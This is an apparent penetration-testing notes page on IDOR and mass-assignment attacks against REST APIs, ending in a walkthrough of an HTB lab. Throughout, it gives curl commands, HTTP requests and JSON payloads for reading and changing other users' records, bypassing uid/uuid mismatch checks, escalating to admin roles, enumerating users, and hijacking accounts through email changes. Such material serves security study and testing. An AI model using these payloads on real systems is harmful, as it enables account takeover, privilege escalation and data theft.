Skip to content

Insecure APIs

REST APIs expose richer IDOR surfaces than traditional pages. Each verb is its own attack:

# GET - information disclosure (most common)
curl -b 'PHPSESSID=mine' http://target/api/profile/2
# PUT - modify someone else's record
curl -b '...' -X PUT http://target/api/profile/2 \
-H 'Content-Type: application/json' \
-d '{"uid":2, "uuid":"<their_uuid>", "email":"[email protected]"}'
# POST - create record on someone else's behalf, or create as elevated role
curl -b '...' -X POST http://target/api/profile/new \
-d '{"role":"admin", ...}'
# DELETE - remove records that belong to others
curl -b '...' -X DELETE http://target/api/profile/2
# Role manipulation - set your own role to admin if the back-end trusts the request
curl -b '...' -X PUT http://target/api/profile/1 \
-d '{"uid":1, "uuid":"<my_uuid>", "role":"web_admin", ...}'

Success indicator: a verb-based action on a foreign or elevated-privilege resource succeeds.

Three structural reasons:

  1. Predictable URL patterns. REST conventions push toward /resource/<id> paths - direct references everywhere by design.
  2. Verb-as-action. GET reads, PUT updates, DELETE removes. Each is a separate code path in the back-end, often with separate (and inconsistent) authorization checks.
  3. JSON body trust. Clients send full resource representations on PUT. Apps that don’t carefully distinguish “fields the client may set” from “fields the server controls” let clients override role, uid, or other privileged attributes.

Combined with the typical lack of per-resource access control, the result is that most APIs in their first version have IDOR vulnerabilities somewhere.

The simplest case. The server serializes resource state and returns it. If access control is missing, any session reads any resource.

GET /api/profile/2 HTTP/1.1
Cookie: PHPSESSID=mine

Response:

{
"uid": "2",
"uuid": "4a9bd19b3b8676199592a346051f950c",
"role": "employee",
"full_name": "Iona Franklyn",
"email": "[email protected]",
"about": "..."
}

This is the generator IDOR in most chains - it produces the data (uuid, role names, internal IDs) that downstream mutation calls need. Without it, PUT and DELETE typically fail on “uuid mismatch” or “invalid role” checks. With it, the chain completes.

Always GET first. The disclosure leaks the values you’ll need for everything else.

PUT updates a resource. Two distinct attack patterns:

Pattern A: change another user’s data. Sometimes lets you reset their password indirectly (change their email, request password reset which now goes to attacker), or inject XSS payloads into a public profile field.

PUT /api/profile/2 HTTP/1.1
Cookie: PHPSESSID=mine
Content-Type: application/json
{
"uid": 2,
"uuid": "<their_uuid_from_GET>",
"role": "employee",
"full_name": "Iona Franklyn",
"email": "[email protected]", changed
"about": "..."
}

If access control is missing, this succeeds. Now request a password reset for Iona - link goes to [email protected] - see Reset tokens.

Pattern B: privilege-escalate your own account. Set fields the server should control:

PUT /api/profile/1 HTTP/1.1
Cookie: PHPSESSID=mine
Content-Type: application/json
{
"uid": 1,
"uuid": "<my_uuid>",
"role": "web_admin", was "employee"
"full_name": "Amy Lindon",
...
}

The “trusting client-supplied role” mistake is depressingly common. The back-end takes the full JSON body and writes every field into the DB row.

POST creates a new resource. The IDOR angles:

Create-as-anyone: when the new-resource body accepts a uid or owner_id that designates the owner:

POST /api/posts HTTP/1.1
{
"author_uid": 99, someone else
"content": "Attacker-crafted message in the victim's voice"
}

If the server trusts author_uid, the post is attributed to user 99.

Create-elevated: when the new-resource body accepts a role or permissions field:

POST /api/users HTTP/1.1
{
"username": "backdoor",
"password": "p",
"role": "admin"
}

If the back-end doesn’t strip privileged fields from POST bodies, the new account is admin.

DELETE /api/profile/2 HTTP/1.1
Cookie: PHPSESSID=mine

Less common than PUT (writing modifications is more valuable than destroying records for most engagements) but worth testing. When DELETE is missing access control, the attacker can:

  • Delete other users’ accounts (denial of service)
  • Delete records that contain audit-trail data (covering tracks)
  • Trigger orphaned-record bugs by deleting referenced resources

PATCH is PUT’s surgical cousin - it expects a subset of the resource. Same attack surface, but interesting when PUT is well-defended and PATCH isn’t:

PATCH /api/profile/1 HTTP/1.1
Content-Type: application/json
{"role": "admin"}

A single-field update. If the back-end has different authorization logic for PATCH vs PUT (depressingly common), this slips through where PUT would be blocked.

Many apps implement a partial access control that compares request fields against each other, but not against the caller’s identity:

# Pseudo-code of a common bad pattern
def update_profile(request, profile_id):
body = parse_json(request.body)
if body['uid'] != profile_id:
return error("uid mismatch")
if body['uuid'] != db.get_profile(profile_id).uuid:
return error("uuid mismatch")
# ... write changes

This blocks the naive bypass:

  • “Set uid=99 in the body, target /api/profile/1” → uid mismatch
  • “Target /api/profile/2 but keep my uid=1 in body” → uid mismatch

But it doesn’t check session.user_id == profile_id. The check is only field-vs-field within the request itself, not session-vs-target.

The bypass is to harvest the foreign uuid via GET (which the mismatch defense doesn’t protect), then submit a fully-consistent PUT:

Terminal window
# Step 1: Disclosure via GET
$ curl -sb 'PHPSESSID=mine' http://target/api/profile/2 | jq
{
"uid": "2",
"uuid": "4a9bd19b3b8676199592a346051f950c",
"role": "employee",
...
}
# Step 2: PUT with consistent uid + uuid (both refer to user 2)
$ curl -sb 'PHPSESSID=mine' -X PUT http://target/api/profile/2 \
-H 'Content-Type: application/json' \
-d '{
"uid": 2,
"uuid": "4a9bd19b3b8676199592a346051f950c",
"role": "employee",
"email": "[email protected]"
}'

The body is internally consistent (uid 2 matches uuid for user 2, and the URL path is /profile/2). The mismatch defense passes. The action runs. The email of user 2 is now attacker-controlled.

The reason the bypass works is that the mismatch defense conflates two questions:

  • “Are the request fields consistent with each other?” (what mismatch actually checks)
  • “Is the caller authorized to modify this resource?” (what should be checked)

Apps that ship only the first check fail open on chained-disclosure attacks.

Similar pattern for the role field:

ALLOWED_ROLES = ['employee', 'manager', 'admin', 'web_admin']
if body['role'] not in ALLOWED_ROLES:
return error("Invalid role")

This blocks "role": "superuser" (not in the list) but does nothing about a regular user setting their role to "admin" (which is in the list). The check answers “is this a known role” without answering “is this caller allowed to assume this role.”

Discover the valid role names via GET disclosure (some user is an admin; their record reveals the admin role’s string name), then submit a PUT setting your own role to it. See the chaining walkthrough in Chaining.

Three discovery methods:

  1. Burp’s site map - every endpoint you’ve hit while browsing is listed. Right-click → “Engagement tools” → “Find references.”
  2. JS bundle reading - search the front-end source for fetch(, axios, $.ajax, XMLHttpRequest. Each call has a URL.
  3. Common path probing - even without leads, common API paths often exist:
/api/users /api/users/<id> /api/profile /api/profile/<id>
/api/admin/users /api/v1/users /api/v2/users /api/me
/api/account /api/account/<id> /rest/users /graphql
Terminal window
$ ffuf -w api-paths.txt -u 'http://target/FUZZ' \
-H 'Cookie: PHPSESSID=mine' -mc 200,401,403

-mc 200,401,403 matches both successful and protected paths - the protected ones are interesting because they exist (just check whether you can hit them via a different verb).

Terminal window
$ for verb in GET POST PUT DELETE PATCH OPTIONS HEAD; do
code=$(curl -sb 'PHPSESSID=mine' -o /dev/null -w '%{http_code}' \
-X "$verb" "http://target/api/profile/1")
echo "$verb: $code"
done
GET: 200 reads work
POST: 405 not allowed
PUT: 200 writes work - IDOR candidate
DELETE: 405
PATCH: 200 also works - try this if PUT defends
OPTIONS: 200 reveals more
HEAD: 200

OPTIONS often returns an Allow: header listing every accepted verb - this is the quickest discovery:

Terminal window
$ curl -i -X OPTIONS http://target/api/profile/1
HTTP/1.1 200 OK
Allow: GET, PUT, DELETE, PATCH, OPTIONS, HEAD

Now you know DELETE should work too (despite the earlier 405 - could be a different code path with different auth).

For browser-driven non-simple requests (anything besides simple-form-encoded POST), the browser sends an OPTIONS preflight. If the preflight response includes:

Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Credentials: true

The combination Access-Control-Allow-Origin: * + Allow-Credentials: true is actually invalid per spec (browsers reject it), but apps that try this often have other CORS confusion that may let cross-origin XHR work. Not strictly an IDOR bug but adjacent - it expands the surface from “needs session” to “needs cross-origin XHR access.”

When the API response or request body contains fields that aren’t reflected in the UI, those fields might still be honored by the back-end:

{
"uid": 1,
"uuid": "40f5888b67c748df7efba008e7c2f9d2",
"role": "employee",
"full_name": "Amy Lindon",
"email": "[email protected]",
"about": "...",
"is_admin": false, hidden in UI but present in JSON
"permissions": ["read"], same
"verified": true,
"balance": 1000
}

Each of these is a candidate for inclusion in a PUT body:

{
...,
"is_admin": true,
"permissions": ["read", "write", "admin"],
"balance": 99999
}

If the back-end uses ORM update_from_dict() or similar mass-assignment patterns, every field in the JSON body writes to the DB. Mass-assignment vulnerabilities are the structural reason role-field manipulation works in so many apps.

Terminal window
# Capture the response
$ curl -sb 'PHPSESSID=mine' http://target/api/profile/1 > current.json
# Submit a PUT with extra fields
$ curl -sb '...' -X PUT http://target/api/profile/1 \
-H 'Content-Type: application/json' \
-d '{
"uid": 1,
"uuid": "<my_uuid>",
"is_admin": true,
"balance": 99999,
"verified": true
}'
# Capture again and diff
$ curl -sb '...' http://target/api/profile/1 > after.json
$ diff <(jq -S . current.json) <(jq -S . after.json)

If any of the speculative fields stuck, the mass-assignment pattern is in play. Now systematically test every plausible field name.

FieldWhat it controls
role, roles, is_admin, is_superuserPrivilege
permissions, scopes, aclGranular access
verified, email_verified, phone_verifiedVerification status
balance, credits, points, coinsVirtual currency
subscription, plan, tierPaid feature gating
created_at, updated_atAudit trail manipulation
deleted, is_deleted, archivedSoft-delete bypass / undelete
password, password_hashSome apps accept password updates in the profile body
email, email_addressReset-target hijack
mfa_enabled, 2fa_enabledDisable MFA on someone’s account
api_key, tokenSteal/rotate someone’s API credentials
parent_id, owner_idReparent resources

For each, the test is the same - submit a PUT including the field with a chosen value, GET the resource again, see if it took.

Same pattern as in classical web apps but applied to API endpoints. When PUT is denied ("Updating other users is for admins only") but POST works:

POST /api/profile/2 HTTP/1.1
X-HTTP-Method-Override: PUT

Or:

POST /api/profile/2?_method=PUT HTTP/1.1

Or move the modification fields from JSON body to query string when the back-end uses $_REQUEST-style parameter handling:

POST /api/profile/[email protected]&uuid=<their>&uid=2

See Verb tampering for the catalog.

The HTB Employee Manager scenario, walked through:

Terminal window
# Step 1: Intercept the legit profile update for our own account
PUT /profile/api.php/profile/1
{"uid":1,"uuid":"40f5888b67c748df7efba008e7c2f9d2","role":"employee","email":"a_lindon@..."}
# Step 2: Test changing our uid → uid mismatch
PUT /profile/api.php/profile/1
{"uid":2, ...}
# Response: "uid mismatch"
# Step 3: Test changing target endpoint → uuid mismatch
PUT /profile/api.php/profile/2
{"uid":2, "uuid":"40f5...","role":"employee", ...} # Our uuid, but uid=2
# Response: "uuid mismatch"
# Step 4: Disclosure via GET (no mismatch defense applies)
GET /profile/api.php/profile/2
{"uid":"2","uuid":"4a9bd19b...","role":"employee", ...} # Got their uuid
# Step 5: Now-armed PUT with consistent uid + uuid
PUT /profile/api.php/profile/2
{"uid":2, "uuid":"4a9bd19b...", "role":"employee", "email":"[email protected]"}
# Response: success - user 2's email changed
# Step 6: Enumerate all users to find admin role's string
$ for i in $(seq 1 100); do curl ... http://target/api/profile/$i >> all.json; done
$ jq 'select(.role != "employee")' all.json
{"uid":"52","uuid":"a36fa9e66e85f2dd6f5e13cad45248ae","role":"web_admin", ...}
# Step 7: Set our own role to web_admin
PUT /profile/api.php/profile/1
{"uid":1, "uuid":"40f5...","role":"web_admin", ...} # role escalated
# Refresh cookie or set Cookie: role=web_admin
# Step 8: Now-admin can create users
POST /profile/api.php/profile/new
{"uid":101, "uuid":"...", "role":"web_admin", ...}

Three IDOR primitives chained:

  • GET disclosure (Step 4) → leaks uuids
  • PUT modification (Step 5) → mass enumeration of records
  • PUT role escalation (Step 7) → admin function call

For the full end-to-end walkthrough, see Chaining.

TaskPattern
Probe accepted verbscurl -i -X OPTIONS http://target/api/path/
GET disclosurecurl -sb '...' http://target/api/profile/$i
PUT modificationcurl -X PUT -H 'Content-Type: application/json' -d '{...}'
POST createcurl -X POST -d '{...}'
DELETE removalcurl -X DELETE http://target/api/resource/$i
PATCH partial updatecurl -X PATCH -d '{"field":"value"}'
Mismatch bypassGET to harvest uuid; PUT with consistent uid+uuid+url-path
Role-name discoveryMass GET, jq 'select(.role != "<your_role>")'
Mass-assignment probeAdd hidden fields (is_admin, balance, etc.) to PUT body
Method-override header-H 'X-HTTP-Method-Override: PUT'
Method-override param?_method=PUT
Param-source confusionMove JSON body fields to URL query string

For the full end-to-end engagement chain, continue to Chaining. For verb-tampering details, see Verb tampering.

Defenses D3-IAA